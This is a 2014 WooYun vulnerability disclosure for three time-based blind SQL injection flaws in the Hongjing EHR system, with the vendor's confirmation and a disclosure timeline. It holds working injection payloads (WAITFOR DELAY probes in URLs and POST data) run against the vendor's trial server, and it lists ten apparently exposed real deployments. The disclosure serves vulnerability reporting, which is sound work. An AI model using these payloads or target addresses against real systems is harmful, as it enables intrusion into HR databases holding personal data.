当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075122

漏洞标题:宏景EHR系统3处SQL注射漏洞

相关厂商:北京宏景世纪软件股份有限公司

漏洞作者: 路人甲

提交时间:2014-09-05 16:55

修复时间:2014-12-04 16:56

公开时间:2014-12-04 16:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-05: 细节已通知厂商并且等待厂商处理中
2014-09-10: 厂商已经确认,细节仅向厂商公开
2014-09-13: 细节向第三方安全合作伙伴开放
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-04: 细节向公众公开

简要描述:

某EHR系统 3处SQL注射漏洞

详细说明:

存在漏洞的是 北京宏景世纪软件股份有限公司研发的宏景EHR系统
公司官网:http://www.hjsoft.com.cn/
官方大量政企高端用户:http://www.hjsoft.com.cn/2525/1040/index.shtml
一些案例:

http://60.190.203.25:59999/templates/index/hrlogon.jsp
http://ehr.topsearch.com.hk/templates/index/hrlogon.jsp
http://221.123.128.41/templates/index/hrlogon.jsp
http://hr.bjn3cc.com/templates/index/hrlogon.jsp
http://202.205.112.6/templates/index/hrlogon.jsp
http://27.112.9.28:8081/templates/index/hrlogon.jsp
http://intranet.topsearch.com.hk/templates/index/hrlogon.jsp
http://218.64.68.150:8888/templates/index/hrlogon.jsp
http://hr.airport.gx.cn:8089/templates/index/hrlogon.jsp
http://61.133.218.206:8888/templates/index/hrlogon.jsp


测试网站:http://www.hjsoft.com.cn:8089/(官方在线试用)
1.由于/pos/posbusiness/train_get_code_tree.jsp页面参数codesetid未安全过滤导致SQL延时注射漏洞
2.由于/servlet/sys/option/customreport/tree页面参数id未安全过滤导致SQL延时注射漏洞
3.由于/system/report_orgtree.jsp页面参数report_type未安全过滤导致SQL延时注射漏洞
漏洞复现:

1.
判断数据库名长度:
http://www.hjsoft.com.cn:8089/pos/posbusiness/train_get_code_tree.jsp?codesetid=1' IF(len(DB_NAME()))>=5 WAITFOR DELAY '0:0:5'--%20
判断数据库名第一个字符的ASCII码值:
http://www.hjsoft.com.cn:8089/pos/posbusiness/train_get_code_tree.jsp?codesetid=1' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=121) WAITFOR DELAY '0:0:5'--%20
2.
http://www.hjsoft.com.cn:8089/servlet/sys/option/customreport/tree
POST DATA 判断数据库名长度:
id=' IF(len(DB_NAME()))>=5 WAITFOR DELAY '0:0:5'--%20&codeset=null&method=tree&priv=undefined&level=undefined&node=3
POST DATA 判断数据库名第一个字符的ASCII码值:
id=' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=121) WAITFOR DELAY '0:0:5'--%20&codeset=null&method=tree&priv=undefined&level=undefined&node=3
3.
判断数据库名长度:
http://www.hjsoft.com.cn:8089/system/report_orgtree.jsp?unitcode=3&report_type=1 IF(len(DB_NAME()))>=5 WAITFOR DELAY '0:0:5'--%20
判断数据库名第一个字符的ASCII码值:
http://www.hjsoft.com.cn:8089/system/report_orgtree.jsp?unitcode=3&report_type=1 IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),1,1))>=121) WAITFOR DELAY '0:0:5'--%20

漏洞证明:

1.判断数据库名长度:
a.设置数据库名长度>=5时,页面存在延时,即判断条件成立。
参数codesetid:

1-1.png


参数id:

2-1.png


参数report_type:

3-1.png


b.设置数据库名长度>=6时,页面不存在延时,即判断条件不成立,即数据库名长度为5。
参数codesetid:

1-2.png


参数id:

2-2.png


参数report_type:

3-2.png


2.判断数据库名第一个字符的ASCII码值
a.设置数据库名第一个字符的ASCII码值>=121,页面存在延时,即判断条件成立
参数codesetid:

1-3.png


参数id:

2-3.png


参数report_type:

3-3.png


b.设置数据库名第一个字符的ASCII码值>=122,页面不存在延时,即判断条件不成立,即数据库名第一个字符的ASCII码值为121,即字符y
参数codesetid:

1-4.png


参数id:

2-4.png


参数report_type:

3-4.png


根据此方法依次可得出数据库名各个位对应的ASCII码值121 107 99 104 114 ,即数据库名为ykchr

修复方案:

对参数是否是数字型进行判断过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-09-10 09:13

厂商回复:

CNVD确认并复现所述情况,由CNVD通过软件生产厂商公开邮箱联系方式向其通报。

最新状态:

暂无